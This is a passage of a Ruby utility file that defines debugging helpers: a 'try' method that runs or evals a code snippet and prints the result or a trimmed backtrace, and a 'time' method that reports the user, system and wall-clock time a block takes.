$VERBOSE = oldverbose
Thread.critical = false
end
end
### Try the specified code block, printing the given
def try( msg, bind=nil )
result = nil
if msg =~ /^to\s/
message = "Trying #{msg}..."
else
message = msg
end
begin
rval = nil
if block_given?
rval = yield
else
file, line = caller(1)[0].split(/:/,2)
rval = eval( msg, bind, file, line.to_i )
end
result = rval.inspect
rescue Exception => err
if err.backtrace
nicetrace = err.backtrace.delete_if {|frame|
/in `(try|eval)'/ =~ frame
}.join("\n\t")
else
nicetrace = "Exception had no backtrace"
end
result = err.message + "\n\t" + nicetrace
ensure
puts result
end
end
def time
start = Time::now
stimes = Process::times
rval = yield
etimes = Process::times
$stderr.puts "Time elapsed: %0.5f user, %0.5f system (%0.5f wall clock seconds)" % [
etimes.utime - stimes.utime,
etimes.stime - stimes.stime,
Time::now.to_f - start.to_f,
]
return rval
end
end